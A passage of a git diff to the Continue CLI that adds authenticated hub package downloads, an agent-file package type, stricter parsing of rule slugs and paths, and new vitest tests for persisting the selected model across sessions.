+222,9 @@ describe("hubLoader", () => { }); it("should handle missing files", async () => { + (loadAuthConfig as any).mockReturnValue(null); + (getAccessToken as any).mockReturnValue(null); + // Check if JSZip is mocked const JSZipModule = await import("jszip"); const JSZip = JSZipModule.default; @@ -136,6 +259,46 @@ describe("hubLoader", () => { }); }); + describe("processRule", () => { + beforeEach(() => { + // Ensure mocks are set up properly for processRule tests + global.fetch = mockFetch; + }); + + it("should treat multi-line strings as inline rules", async () => { + const loadRuleSpy = vi + .spyOn(hubLoader, "loadRuleFromHub") + .mockResolvedValue("hub-content"); + + const multilineRule = "Line one\nEnsure /tmp is ignored\nFinal line"; + const result = await processRule(multilineRule); + + expect(result).toBe(multilineRule); + expect(loadRuleSpy).not.toHaveBeenCalled(); + + loadRuleSpy.mockRestore(); + }); + + it("should still treat owner/package strings as hub slugs", async () => { + // Mock fetch to return a proper response for this test + const JSZip = (await import("jszip")).default; + const zip = new JSZip(); + zip.file("rule.md", "hub-content"); + const zipBuffer = await zip.generateAsync({ type: "arraybuffer" }); + + mockFetch.mockResolvedValueOnce({ + ok: true, + arrayBuffer: () => Promise.resolve(zipBuffer), + } as Response); + + const slug = "owner/package"; + const result = await processRule(slug); + + expect(result).toBe("hub-content"); + expect(mockFetch).toHaveBeenCalled(); + }); + }); + describe("processors", () => { it("should define rule processor correctly", () => { expect(ruleProcessor.type).toBe("rule"); diff --git a/extensions/cli/src/hubLoader.ts b/extensions/cli/src/hubLoader.ts index 0a6e39756..412f80208 100644 --- a/extensions/cli/src/hubLoader.ts +++ b/extensions/cli/src/hubLoader.ts @@ -1,12 +1,23 @@ +import { + AgentFile, + ModelConfig, + parseAgentFile, +} from "@continuedev/config-yaml"; import JSZip from "jszip"; +import { getAccessToken, loadAuthConfig } from "./auth/workos.js"; import { env } from "./env.js"; import { logger } from "./util/logger.js"; +/** + * Pattern to match valid hub slugs (owner/package format) + */ +export const HUB_SLUG_PATTERN = /^[A-Za-z0-9._-]+\/[A-Za-z0-9._-]+$/; + /** * Hub package type definitions */ -export type HubPackageType = "rule" | "mcp" | "model" | "prompt"; +export type HubPackageType = "rule" | "mcp" | "model" | "prompt" | "agentFile"; /** * Hub package processor interface @@ -59,7 +70,7 @@ export const mcpProcessor: HubPackageProcessor = { /** * Model processor - handles JSON/YAML configuration files */ -export const modelProcessor: HubPackageProcessor = { +export const modelProcessor: HubPackageProcessor = { type: "model", expectedFileExtensions: [".json", ".yaml", ".yml"], parseContent: async (content: string, filename: string) => { @@ -94,8 +105,19 @@ export const promptProcessor: HubPackageProcessor = { parseContent: (content: string) => content, }; +export const agentFileProcessor: HubPackageProcessor = { + type: "agentFile", + expectedFileExtensions: [".md"], + parseContent: (content: string) => parseAgentFile(content), + validateContent: (agentFile: AgentFile) => { + return !!agentFile.name; + }, +}; + /** * Generic hub package loader + * Automatically includes authentication headers when user is logged in, + * enabling access to private packages. */ export async function loadPackageFromHub( slug: string, @@ -127,7 +149,17 @@ export async function loadPackageFromHub( } try { - const response = await fetch(downloadUrl); + // Load auth config and get access token for private package access + const authConfig = loadAuthConfig(); + const accessToken = getAccessToken(authConfig); + + // Prepare headers with optional authorization + const headers: Record = {}; + if (accessToken) { + headers.Authorization = `Bearer ${accessToken}`; + } + + const response = await fetch(downloadUrl, { headers }); if (!response.ok) { throw new Error(`HTTP ${response.status}: ${response.statusText}`); @@ -213,35 +245,27 @@ export const loadMcpFromHub = (slug: string) => export const loadModelFromHub = (slug: string) => loadPackageFromHub(slug, modelProcessor); -export const loadPromptFromHub = (slug: string) => - loadPackageFromHub(slug, promptProcessor); - /** * Process a rule specification - supports file paths, hub slugs, or direct content */ export async function processRule(ruleSpec: string): Promise { - // If it looks like a hub slug (contains / but doesn't start with . or /) - if ( - ruleSpec.includes("/") && - !ruleSpec.startsWith(".") && - !ruleSpec.startsWith("/") - ) { - return await loadRuleFromHub(ruleSpec); - } + const trimmedRuleSpec = ruleSpec.trim(); + const hasNewline = /[\r\n]/.test(ruleSpec); - // If it looks like a file path - if ( - ruleSpec.startsWith(".") || - ruleSpec.startsWith("/") || - ruleSpec.includes("/") || - ruleSpec.includes("\\") || - /\.[a-zA-Z]+$/.test(ruleSpec) // Has file extension at the end - ) { + // If it looks like a file path (single line, typical path indicators) + const looksLikePath = + !hasNewline && + (trimmedRuleSpec.startsWith(".") || + trimmedRuleSpec.startsWith("/") || + trimmedRuleSpec.includes("\\") || + /\.[a-zA-Z]+$/.test(trimmedRuleSpec)); + + if (looksLikePath) { const fs = await import("fs"); const path = await import("path"); try { - const absolutePath = path.resolve(ruleSpec); + const absolutePath = path.resolve(trimmedRuleSpec); if (!fs.existsSync(absolutePath)) { throw new Error(`Rule file not found: ${ruleSpec}`); } @@ -253,10 +277,43 @@ export async function processRule(ruleSpec: string): Promise { } } + // Check if it might be a hub slug (contains "/" and is a single line) + if (!hasNewline && trimmedRuleSpec.includes("/")) { + const parts = trimmedRuleSpec.split("/"); + + // If it's exactly 2 parts and matches hub slug pattern, treat as hub slug + if (parts.length === 2 && HUB_SLUG_PATTERN.test(trimmedRuleSpec)) { + return await loadRuleFromHub(trimmedRuleSpec); + } + + // If it has more than 2 parts, it's an invalid hub slug + if (parts.length > 2) { + throw new Error( + `Invalid hub slug format. Expected "owner/package", got: ${trimmedRuleSpec}`, + ); + } + } + // Otherwise, treat it as direct string content return ruleSpec; } +export function isStringRule(rule: string) { + if (rule.includes(" ") || rule.includes("\n")) { + return true; + } + if ( + ["file:/", ".", "/", "~"].some((prefix) => rule.startsWith(prefix)) || + rule.includes("\\") + ) { + return false; + } + if (HUB_SLUG_PATTERN.test(rule)) { + return false; + } + return true; +} + /** * Batch load multiple packages with error handling */ diff --git a/extensions/cli/src/index.ts b/extensions/cli/src/index.ts index 392acf02e..b1aa39c28 100644 --- a/extensions/cli/src/index.ts +++ b/extensions/cli/src/index.ts @@ -216,15 +216,18 @@ addCommonOptions(program) } } - // In headless mode, ensure we have a prompt - if (options.print && !prompt) { + // In headless mode, ensure we have a prompt unless using --agent flag + // Agent files can provide their own prompts + if (options.print && !prompt && !options.agent) { safeStderr( - "Error: A prompt is required when using the -p/--print flag.\n\n", + "Error: A prompt is required when using the -p/--print flag, unless --prompt or --agent is provided.\n\n", ); safeStderr("Usage examples:\n"); safeStderr(' cn -p "please review my current git diff"\n'); safeStderr(' echo "hello" | cn -p\n'); safeStderr(' cn -p "analyze the code in src/"\n'); + safeStderr(" cn -p --agent my-org/my-agent\n"); + safeStderr(" cn -p --prompt my-org/my-prompt\n"); await gracefulExit(1); } @@ -277,6 +280,10 @@ addCommonOptions( "--url ", "Connect directly to the specified URL instead of creating a new remote environment", ) + .option( + "--id ", + "Connect to an existing remote agent by id and establish a tunnel", + ) .option( "--idempotency-key ", "Idempotency key for session management - allows resuming existing sessions", diff --git a/extensions/cli/src/integration/model-persistence-e2e.test.ts b/extensions/cli/src/integration/model-persistence-e2e.test.ts new file mode 100644 index 000000000..22354c989 --- /dev/null +++ b/extensions/cli/src/integration/model-persistence-e2e.test.ts @@ -0,0 +1,205 @@ +import * as fs from "fs"; +import * as os from "os"; +import * as path from "path"; + +import { AssistantUnrolled, ModelConfig } from "@continuedev/config-yaml"; +import { afterEach, beforeEach, describe, expect, test, vi } from "vitest"; + +import { + AuthenticatedConfig, + getModelName, + loadAuthConfig, + saveAuthConfig, + updateModelName, +} from "../auth/workos.js"; +import * as config from "../config.js"; +import { ModelService } from "../services/ModelService.js"; +import { persistModelName } from "../util/modelPersistence.js"; + +// Mock the config module +vi.mock("../config.js"); + +describe("Model Persistence End-to-End", () => { + let testDir: string; + let originalContinueHome: string | undefined; + let mockAssistant: AssistantUnrolled; + let mockAuthConfig: AuthenticatedConfig; + const mockLlmApi = { complete: vi.fn(), stream: vi.fn() }; + + beforeEach(() => { + vi.clearAllMocks(); + + // Create a temporary directory for testing + testDir = fs.mkdtempSync(path.join(os.tmpdir(), "continue-test-")); + originalContinueHome = process.env.CONTINUE_GLOBAL_DIR; + process.env.CONTINUE_GLOBAL_DIR = testDir; + + // Clear GlobalContext for clean test state + persistModelName(null); + + mockAssistant = { + name: "test-assistant", + version: "1.0.0", + models: [ + { + provider: "openai", + model: "gpt-4", + name: "GPT-4", + apiKey: "test-key", + roles: ["chat"], + } as ModelConfig, + { + provider: "anthropic", + model: "claude-3-5-sonnet-20241022", + name: "Claude 3.5 Sonnet", + apiKey: "test-key", + roles: ["chat"], + } as ModelConfig, + { + provider: "anthropic", + model: "claude-3-opus-20240229", + name: "Claude 3 Opus", + apiKey: "test-key", + roles: ["chat"], + } as ModelConfig, + ], + } as AssistantUnrolled; + + mockAuthConfig = { + userId: "test-user", + userEmail: "test@example.com", + accessToken: "test-token", + refreshToken: "test-refresh", + expiresAt: Date.now() + 3600000, // 1 hour from now + organizationId: "test-org", + }; + + // Setup default mock behavior + vi.mocked(config.getLlmApi).mockReturnValue([ + mockLlmApi as any, + mockAssistant.models![0] as ModelConfig, + ]); + vi.mocked(config.createLlmApi).mockReturnValue(mockLlmApi as any); + }); + + afterEach(() => { + // Cleanup + if (fs.existsSync(testDir)) { + fs.rmSync(testDir, { recursive: true }); + } + if (originalContinueHome) { + process.env.CONTINUE_GLOBAL_DIR = originalContinueHome; + } else { + delete process.env.CONTINUE_GLOBAL_DIR; + } + }); + + test("should restore model selection after restart", async () => { + // Step 1: Initial session - user starts with default model (GPT-4) + saveAuthConfig(mockAuthConfig); + let service = new ModelService(); + let state = await service.initialize(mockAssistant, mockAuthConfig); + + console.log("Initial model:", state.model?.name); + expect(state.model?.name).toBe("GPT-4"); + + // Step 2: User switches to Claude 3.5 Sonnet (index 1) + await service.switchModel(1); + state = service.getState(); + + console.log("After switch:", state.model?.name); + expect(state.model?.name).toBe("Claude 3.5 Sonnet"); + + // Step 3: Persist the model choice (this should happen in useModelSelector) + updateModelName("Claude 3.5 Sonnet"); + + // Verify it was saved to auth.json + const savedConfig = loadAuthConfig(); + console.log("Saved model name:", getModelName(savedConfig)); + expect(getModelName(savedConfig)).toBe("Claude 3.5 Sonnet"); + + // Step 4: Simulate restart - create new service instance + // Load fresh auth config from disk (this is what the real code does) + const freshAuthConfig = loadAuthConfig(); + console.log("Fresh auth config model name:", getModelName(freshAuthConfig)); + + service = new ModelService(); + state = await service.initialize(mockAssistant, freshAuthConfig); + + // Step 5: Verify the persisted model is restored + console.log("After restart:", state.model?.name); + expect(state.model?.name).toBe("Claude 3.5 Sonnet"); + expect(state.model?.provider).toBe("anthropic"); + }); + + test("should handle model name mismatch gracefully", async () => { + // Save auth config with a model that doesn't exist + mockAuthConfig.modelName = "Non-existent Model"; + saveAuthConfig(mockAuthConfig); + + const service = new ModelService(); + const state = await service.initialize(mockAssistant, mockAuthConfig); + + // Should fall back to first available model (GPT-4) + expect(state.model?.name).toBe("GPT-4"); + }); + + test("should check both name and model fields when matching", async () => { + // Some configs might have model field instead of name + const assistantWithModelField = { + ...mockAssistant, + models: [ + { + provider: "openai", + model: "gpt-4", + // No name field, just model + apiKey: "test-key", + roles: ["chat"], + } as ModelConfig, + { + provider: "anthropic", + model: "claude-3-5-sonnet-20241022", + // No name field, just model + apiKey: "test-key", + roles: ["chat"], + } as ModelConfig, + ], + } as AssistantUnrolled; + + mockAuthConfig.modelName = "claude-3-5-sonnet-20241022"; + saveAuthConfig(mockAuthConfig); + + const service = new ModelService(); + const state = await service.initialize( + assistantWithModelField, + mockAuthConfig, + ); + + // Should match by model field + expect(state.model?.model).toBe("claude-3-5-sonnet-20241022"); + }); + + test("should persist model through multiple switches", async () => { + saveAuthConfig(mockAuthConfig); + const service = new ModelService(); + await service.initialize(mockAssistant, mockAuthConfig); + + // Switch to Claude 3.5 Sonnet + await service.switchModel(1); + updateModelName("Claude 3.5 Sonnet"); + expect(getModelName(loadAuthConfig())).toBe("Claude 3.5 Sonnet"); + + // Switch to Claude 3 Opus + await service.switchModel(2); + updateModelName("Claude 3 Opus"); + expect(getModelName(loadAuthConfig())).toBe("Claude 3 Opus"); + + // Restart and verify last selection + const freshAuthConfig = loadAuthConfig(); + console.log("Fresh auth config model name:", getModelName(freshAuthConfig)); + + const newService = new ModelService(); + const state = await newService.initialize(mockAssistant, freshAuthConfig); + expect(state.model?.name).toBe("Claude 3 Opus"); + }); +}); diff --git a/extensions/cli/src/integration/model-persistence-unauthenticated.test.ts b/extensions/cli/src/integration/model-persistence-unauthenticated.test.ts new file mode 100644 index 000000000..db4b30ee4 --- /dev/null +++ b/extensions/cli/src/integration/model-persistence-unauthenticated.test.ts @@ -0,0 +1,245 @@ +import * as fs from "fs"; +import * as os from "os"; +import * as path from "path"; + +import { AssistantUnrolled, ModelConfig } from "@continuedev/config-yaml"; +import { afterEach, beforeEach, describe, expect, test, vi } from "vitest"; + +import { + getModelName, + loadAuthConfig, + updateModelName, +} from "../auth/workos.js"; +import * as config from "../config.js"; +import { ModelService } from "../services/ModelService.js"; +import { + getPersistedModelName, + persistModelName, +} from "../util/modelPersistence.js"; + +// Mock the config module +vi.mock("../config.js"); + +describe("Model Persistence for Unauthenticated Users", () => { + let testDir: string; + let originalContinueHome: string | undefined; + let mockAssistant: AssistantUnrolled; + const mockLlmApi = { complete: vi.fn(), stream: vi.fn() }; + + beforeEach(() => { + vi.clearAllMocks(); + + // Create a temporary directory for testing + testDir = fs.mkdtempSync(path.join(os.tmpdir(), "continue-test-")); + originalContinueHome = process.env.CONTINUE_GLOBAL_DIR; + process.env.CONTINUE_GLOBAL_DIR = testDir; + + // Clear GlobalContext for clean test state + persistModelName(null); + + mockAssistant = { + name: "test-assistant", + version: "1.0.0", + models: [ + { + provider: "openai", + model: "gpt-4", + name: "GPT-4", + apiKey: "test-key", + roles: ["chat"], + } as ModelConfig, + { + provider: "anthropic", + model: "claude-3-5-sonnet-20241022", + name: "Claude 3.5 Sonnet", + apiKey: "test-key", + roles: ["chat"], + } as ModelConfig, + { + provider: "anthropic", + model: "claude-3-opus-20240229", + name: "Claude 3 Opus", + apiKey: "test-key", + roles: ["chat"], + } as ModelConfig, + ], + } as AssistantUnrolled; + + // Setup default mock behavior + vi.mocked(config.getLlmApi).mockReturnValue([ + mockLlmApi as any, + mockAssistant.models![0] as ModelConfig, + ]); + vi.mocked(config.createLlmApi).mockReturnValue(mockLlmApi as any); + }); + + afterEach(() => { + // Cleanup + if (fs.existsSync(testDir)) { + fs.rmSync(testDir, { recursive: true }); + } + if (originalContinueHome) { + process.env.CONTINUE_GLOBAL_DIR = originalContinueHome; + } else { + delete process.env.CONTINUE_GLOBAL_DIR; + } + }); + + test("should persist model selection for logged-out users", () => { + // User is logged out (no auth config) + const authConfig = loadAuthConfig(); + expect(authConfig).toBeNull(); + + // User switches model + updateModelName("Claude 3.5 Sonnet"); + + // Verify it was saved to GlobalContext + const persistedModel = getPersistedModelName(); + expect(persistedModel).toBe("Claude 3.5 Sonnet"); + + // Verify getModelName returns it for null config + expect(getModelName(null)).toBe("Claude 3.5 Sonnet"); + }); + + test("should restore model selection on next session for logged-out users", async () => { + // Session 1: User is logged out and switches model + const authConfig = loadAuthConfig(); + expect(authConfig).toBeNull(); + + const modelService = new ModelService(); + await modelService.initialize(mockAssistant, authConfig); + + await modelService.switchModel(1); + updateModelName("Claude 3.5 Sonnet"); + + // Session 2: User reopens CLI (still logged out) + const newAuthConfig = loadAuthConfig(); + expect(newAuthConfig).toBeNull(); + + const newModelService = new ModelService(); + const state = await newModelService.initialize( + mockAssistant, + newAuthConfig, + ); + + // Should restore Claude 3.5 Sonnet + expect(state.model?.name).toBe("Claude 3.5 Sonnet"); + }); + + test("should handle multiple model switches for logged-out users", () => { + updateModelName("GPT-4"); + expect(getModelName(null)).toBe("GPT-4"); + + updateModelName("Claude 3.5 Sonnet"); + expect(getModelName(null)).toBe("Claude 3.5 Sonnet"); + + updateModelName("Claude 3 Opus"); + expect(getModelName(null)).toBe("Claude 3 Opus"); + }); + + test("should clear model selection when set to null", () => { + updateModelName("Claude 3.5 Sonnet"); + expect(getModelName(null)).toBe("Claude 3.5 Sonnet"); + + updateModelName(null); + expect(getModelName(null)).toBeNull(); + }); + + test("should preserve GlobalContext model when user logs in", () => { + // User is logged out with a persisted model + updateModelName("Claude 3.5 Sonnet"); + expect(getPersistedModelName()).toBe("Claude 3.5 Sonnet"); + + // User logs in (simulated by having auth.json) + const authPath = path.join(testDir, "auth.json"); + fs.writeFileSync( + authPath, + JSON.stringify({ + userId: "test-user", + userEmail: "test@example.com", + accessToken: "test-token", + refreshToken: "test-refresh", + expiresAt: Date.now() + 3600000, + organizationId: "test-org", + }), + ); + + const authConfig = loadAuthConfig(); + expect(authConfig).not.toBeNull(); + + // GlobalContext model should still exist + expect(getPersistedModelName()).toBe("Claude 3.5 Sonnet"); + + // When auth config has no modelName, it should fall back to GlobalContext + expect(getModelName(authConfig)).toBe("Claude 3.5 Sonnet"); + }); + + test("should use auth config model when both exist", () => { + // Clear previous state + updateModelName(null); + + // Set GlobalContext model + updateModelName("GPT-4"); + expect(getPersistedModelName()).toBe("GPT-4"); + + // Create auth config with different model + const authPath = path.join(testDir, "auth.json"); + fs.writeFileSync( + authPath, + JSON.stringify({ + userId: "test-user", + userEmail: "test@example.com", + accessToken: "test-token", + refreshToken: "test-refresh", + expiresAt: Date.now() + 3600000, + organizationId: "test-org", + modelName: "Claude 3.5 Sonnet", + }), + ); + + const authConfig = loadAuthConfig(); + + // Auth config should take precedence + expect(getModelName(authConfig)).toBe("Claude 3.5 Sonnet"); + }); + + test("should not save to GlobalContext when using CONTINUE_API_KEY", () => { + // Clear any existing model + updateModelName(null); + expect(getPersistedModelName()).toBeNull(); + + // Capture original value to restore after test + const originalApiKey = process.env.CONTINUE_API_KEY; + process.env.CONTINUE_API_KEY = "test-api-key"; + + updateModelName("Claude 3.5 Sonnet"); + + // Should not be saved to GlobalContext + expect(getPersistedModelName()).toBeNull(); + + // Restore original value + if (originalApiKey === undefined) { + delete process.env.CONTINUE_API_KEY; + } else { + process.env.CONTINUE_API_KEY = originalApiKey; + } + }); + + test("should work across config changes for logged-out users", async () => { + // User switches model with one config + updateModelName("Claude 3.5 Sonnet"); + + const modelService = new ModelService(); + let state = await modelService.initialize(mockAssistant, null); + expect(state.model?.name).toBe("Claude 3.5 Sonnet"); + + // User switches to a different model + await modelService.switchModel(2); + updateModelName("Claude 3 Opus"); + + // Create new service (simulating restart) + const newModelService = new ModelService(); + state = await newModelService.initialize(mockAssistant, null); + expect(state.model?.name).toBe("Claude 3 Opus"); + }); +}); diff --git a/extensions/cli/src/integration/model-persistence-user-flow.test.ts b/extensions/cli/src/integration/model-persistence-user-flow.test.ts new file mode 100644 index 000000000..3aef05071 --- /dev/null +++ b/extensions/cli/src/integration/model-persistence-user-flow.test.ts @@ -0,0 +1,155 @@ +import * as fs from "fs"; +import * as os from "os"; +import * as path from "path"; + +import { AssistantUnrolled, ModelConfig } from "@continuedev/config-yaml"; +import { afterEach, beforeEach, describe, expect, test, vi } from "vitest"; + +import { AuthService } from "src/services/AuthService.js"; + +import { + AuthenticatedConfig, + getModelName, + loadAuthConfig, + saveAuthConfig, +} from "../auth/workos.js"; +import * as config from "../config.js"; +import { ModelService } from "../services/ModelService.js"; + +// Mock the config module +vi.mock("../config.js"); + +describe("Model Persistence User Flow", () => { + let testDir: string; + let originalContinueHome: string | undefined; + let mockAssistant: AssistantUnrolled; + let mockAuthConfig: AuthenticatedConfig; + const mockLlmApi = { complete: vi.fn(), stream: vi.fn() }; + + beforeEach(async () => { + vi.clearAllMocks(); + + // Create a temporary directory for testing + testDir = fs.mkdtempSync(path.join(os.tmpdir(), "continue-test-")); + originalContinueHome = process.env.CONTINUE_GLOBAL_DIR; + process.env.CONTINUE_GLOBAL_DIR = testDir; + + mockAssistant = { + name: "test-assistant", + version: "1.0.0", + models: [ + { + provider: "openai", + model: "gpt-4", + name: "GPT-4", + apiKey: "test-key", + roles: ["chat"], + } as ModelConfig, + { + provider: "anthropic", + model: "claude-3-5-sonnet-20241022", + name: "Claude 3.5 Sonnet", + apiKey: "test-key", + roles: ["chat"], + } as ModelConfig, + { + provider: "anthropic", + model: "claude-3-opus-20240229", + name: "Claude 3 Opus", + apiKey: "test-key", + roles: ["chat"], + } as ModelConfig, + ], + } as AssistantUnrolled; + + mockAuthConfig = { + userId: "test-user", + userEmail: "test@example.com", + accessToken: "test-token", + refreshToken: "test-refresh", + expiresAt: Date.now() + 3600000, // 1 hour from now + organizationId: "test-org", + modelName: "GPT-4", + }; + + // Setup default mock behavior + vi.mocked(config.getLlmApi).mockReturnValue([ + mockLlmApi as any, + mockAssistant.models![0] as ModelConfig, + ]); + vi.mocked(config.createLlmApi).mockReturnValue(mockLlmApi as any); + }); + + afterEach(() => { + // Cleanup + if (fs.existsSync(testDir)) { + fs.rmSync(testDir, { recursive: true }); + } + if (originalContinueHome) { + process.env.CONTINUE_GLOBAL_DIR = originalContinueHome; + } else { + delete process.env.CONTINUE_GLOBAL_DIR; + } + }); + + test("should persist model choice exactly as user experiences it", async () => { + console.log("\n=== SESSION 1: User opens cn and switches model ==="); + + // Session 1: User starts CLI + // Save initial auth config (what happens after login) + saveAuthConfig(mockAuthConfig); + console.log("1. Initial auth.json saved"); + + // Initialize ModelService (what happens on CLI start) + const modelService = new ModelService(); + const state = await modelService.initialize(mockAssistant, mockAuthConfig); + console.log("2. Initial model:", state.model?.name); + expect(state.model?.name).toBe("GPT-4"); + + // User switches to Claude 3.5 Sonnet via UI + await modelService.switchModel(1); + const modelInfo = modelService.getModelInfo(); + console.log("3. User switched to:", modelInfo?.name); + expect(modelInfo?.name).toBe("Claude 3.5 Sonnet"); + + // useModelSelector calls updateModelName + const { updateModelName } = await import("../auth/workos.js"); + const updatedAuthConfig = updateModelName("Claude 3.5 Sonnet"); + console.log("4. Model name persisted to disk"); + + // Verify it was saved + const savedConfig = loadAuthConfig(); + console.log("5. Read back from disk:", getModelName(savedConfig)); + expect(getModelName(savedConfig)).toBe("Claude 3.5 Sonnet"); + + // User closes CLI + console.log("6. User exits CLI\n"); + + console.log("=== SESSION 2: User reopens cn ==="); + + // Session 2: User restarts CLI + // Initialize AuthService (loads from disk) + const authService = new AuthService(); + const authState = await authService.initialize(); + console.log( + "7. AuthService loaded, modelName in auth:", + getModelName(authState.authConfig), + ); + + // Initialize ModelService with fresh auth state + const newModelService = new ModelService(); + const newState = await newModelService.initialize( + mockAssistant, + authState.authConfig, + ); + console.log( + "8. ModelService initialized with model:", + newState.model?.name, + ); + + // EXPECTATION: Should restore Claude 3.5 Sonnet + expect(newState.model?.name).toBe("Claude 3.5 Sonnet"); + expect(newState.model?.provider).toBe("anthropic"); + console.log("✅ Model persisted correctly!\n"); + }); +}); diff --git a/extensions/cli/src/integration/model-persistence.test.ts b/extensions/cli/src/integration/model-persistence.test.ts new file mode 100644 index 000000000..9e352143d --- /dev/null +++ b/extensions/cli/src/integration/model-persistence.test.ts @@ -0,0 +1,194 @@ +import * as fs from "fs"; +import * as os from "os"; +import * as path from "path"; + +import { afterEach, beforeEach, describe, expect, test } from "vitest"; + +import { + AuthenticatedConfig, + getModelName, + loadAuthConfig, + saveAuthConfig, + updateModelName, +} from "../auth/workos.js"; +import { persistModelName } from "../util/modelPersistence.js"; + +describe("Model Persistence Integration", () => { + let testDir: string; + let originalContinueHome: string | undefined; + + beforeEach(() => { + // Create a temporary directory for testing + testDir = fs.mkdtempSync(path.join(os.tmpdir(), "continue-test-")); + originalContinueHome = process.env.CONTINUE_GLOBAL_DIR; + process.env.CONTINUE_GLOBAL_DIR = testDir; + + // Clear GlobalContext for clean test state + persistModelName(null); + }); + + afterEach(() => { + // Cleanup + if (fs.existsSync(testDir)) { + fs.rmSync(testDir, { recursive: true }); + } + if (originalContinueHome) { + process.env.CONTINUE_GLOBAL_DIR = originalContinueHome; + } else { + delete process.env.CONTINUE_GLOBAL_DIR; + } + }); + + test("should persist model name when user selects a model", () => { + // Create initial auth config without model name + const authConfig: AuthenticatedConfig = { + userId: "test-user", + userEmail: "test@example.com", + accessToken: "test-token", + refreshToken: "test-refresh", + expiresAt: Date.now() + 3600000, + organizationId: "test-org", + }; + + saveAuthConfig(authConfig); + + // User selects a model + updateModelName("Claude 3.5 Sonnet"); + + // Load config and verify model name is persisted + const loadedConfig = loadAuthConfig(); + expect(getModelName(loadedConfig)).toBe("Claude 3.5 Sonnet"); + }); + + test("should update model name when user switches models", () => { + // Create initial auth config with a model + const authConfig: AuthenticatedConfig = { + userId: "test-user", + userEmail: "test@example.com", + accessToken: "test-token", + refreshToken: "test-refresh", + expiresAt: Date.now() + 3600000, + organizationId: "test-org", + modelName: "GPT-4", + }; + + saveAuthConfig(authConfig); + + // User switches to a different model + updateModelName("Claude 3.5 Sonnet"); + + // Load config and verify new model name + const loadedConfig = loadAuthConfig(); + expect(getModelName(loadedConfig)).toBe("Claude 3.5 Sonnet"); + }); + + test("should preserve other auth config fields when updating model", () => { + // Create initial auth config + const authConfig: AuthenticatedConfig = { + userId: "test-user", + userEmail: "test@example.com", + accessToken: "test-token", + refreshToken: "test-refresh", + expiresAt: Date.now() + 3600000, + organizationId: "test-org", + configUri: "slug://owner/my-config", + }; + + saveAuthConfig(authConfig); + + // Update model name + updateModelName("Claude 3.5 Sonnet"); + + // Load config and verify all fields are preserved + const loadedConfig = loadAuthConfig(); + expect(loadedConfig).toMatchObject({ + userId: "test-user", + userEmail: "test@example.com", + organizationId: "test-org", + configUri: "slug://owner/my-config", + modelName: "Claude 3.5 Sonnet", + }); + }); + + test("should clear model name when set to null", () => { + // Create initial auth config with a model + const authConfig: AuthenticatedConfig = { + userId: "test-user", + userEmail: "test@example.com", + accessToken: "test-token", + refreshToken: "test-refresh", + expiresAt: Date.now() + 3600000, + organizationId: "test-org", + modelName: "GPT-4", + }; + + saveAuthConfig(authConfig); + + // Clear model name + updateModelName(null); + + // Load config and verify model name is cleared + const loadedConfig = loadAuthConfig(); + expect(getModelName(loadedConfig)).toBeNull(); + }); + + test("should return null for model name when not authenticated and no GlobalContext", () => { + // No auth config exists and no GlobalContext model + persistModelName(null); // Ensure GlobalContext is clear + const loadedConfig = loadAuthConfig(); + expect(getModelName(loadedConfig)).toBeNull(); + }); + + test("should not persist model name when using CONTINUE_API_KEY", () => { + // Clear GlobalContext first + persistModelName(null); + + // Capture original value to restore after test + const originalApiKey = process.env.CONTINUE_API_KEY; + // Set environment variable + process.env.CONTINUE_API_KEY = "test-api-key"; + + // Try to update model name + updateModelName("Claude 3.5 Sonnet"); + + // Load config - should be environment auth config without model name + const loadedConfig = loadAuthConfig(); + expect(getModelName(loadedConfig)).toBeNull(); + + // Restore original value + if (originalApiKey === undefined) { + delete process.env.CONTINUE_API_KEY; + } else { + process.env.CONTINUE_API_KEY = originalApiKey; + } + }); + + test("should persist model name in auth.json file with correct format", () => { + // Create and save auth config + const authConfig: AuthenticatedConfig = { + userId: "test-user", + userEmail: "test@example.com", + accessToken: "test-token", + refreshToken: "test-refresh", + expiresAt: Date.now() + 3600000, + organizationId: "test-org", + }; + + saveAuthConfig(authConfig); + updateModelName("Claude 3.5 Sonnet"); + + // Read the raw file content + const authPath = path.join(testDir, "auth.json"); + const rawContent = fs.readFileSync(authPath, "utf8"); + const parsedContent = JSON.parse(rawContent); + + // Verify the file structure + expect(parsedContent).toHaveProperty("userId", "test-user"); + expect(parsedContent).toHaveProperty("userEmail", "test@example.com"); + expect(parsedContent).toHaveProperty("organizationId", "test-org"); + expect(parsedContent).toHaveProperty("modelName", "Claude 3.5 Sonnet"); + + // Verify it's pretty-printed (has indentation) + expect(rawContent).toContain("\n "); + }); +}); diff --git a/extensions/cli/src/integration/rule-duplication.test.ts b/extensions/cli/src/integration/rule-duplication.test.ts index e68a3eff9..3a713170d 100644 --- a/extensions/cli/src/integration/rule-duplication.test.ts +++ b/extensions/cli/src/integration/rule-duplication.test.ts @@ -1,107 +1,130 @@ -import { AssistantUnrolled } from "@continuedev/config-yaml"; -import { describe, expect, it, vi } from "vitest"; +import { decodePackageIdentifier } from "@continuedev/config-yaml"; +import { beforeEach, describe, expect, it, vi } from "vitest"; + +import { isStringRule } from "src/hubLoader.js"; import { BaseCommandOptions } from "../commands/BaseCommandOptions.js"; -import { ConfigEnhancer } from "../configEnhancer.js"; +import { ConfigService } from "../services/ConfigService.js"; -// Mock the processRule function to avoid network calls -vi.mock("../hubLoader.js", () => ({ - processRule: vi.fn((rule: string) => { - // Simulate hub slug loading - return content for hub slugs - if (rule.includes("/") && !rule.startsWith(".") && !rule.startsWith("/")) { - return Promise.resolve(`Content for ${rule}`); - } - // Return as-is for direct content - return Promise.resolve(rule); - }), - loadPackagesFromHub: vi.fn(() => Promise.resolve([])), - mcpProcessor: {}, - modelProcessor: {}, +// Mock the required functions - need to match the import path used by ConfigService +vi.mock("src/hubLoader.js", () => ({ + isStringRule: vi.fn(), +})); + +vi.mock("@continuedev/config-yaml", async (importOriginal) => ({ + ...(await importOriginal()), + decodePackageIdentifier: vi.fn((id) => ({ + type: "slug" as const, + slug: id, + version: undefined, + })), +})); + +vi.mock("../configLoader.js", () => ({ + loadConfiguration: vi.fn(), +})); + +vi.mock("../auth/workos.js", () => ({ + loadAuthConfig: vi.fn(), +})); + +vi.mock("../util/logger.js", () => ({ + logger: { + debug: vi.fn(), + warn: vi.fn(), + }, })); describe("Rule duplication integration test", () => { - it("should not duplicate rules when using --rule flag", async () => { - const enhancer = new ConfigEnhancer(); + let configService: ConfigService; - // Initial config without any rules - const initialConfig: AssistantUnrolled = { - name: "Test Assistant", - rules: [], - } as any; + beforeEach(() => { + vi.clearAllMocks(); + configService = new ConfigService(); + + // Reset mocks to their default behavior + vi.mocked(decodePackageIdentifier).mockImplementation((id) => ({ + 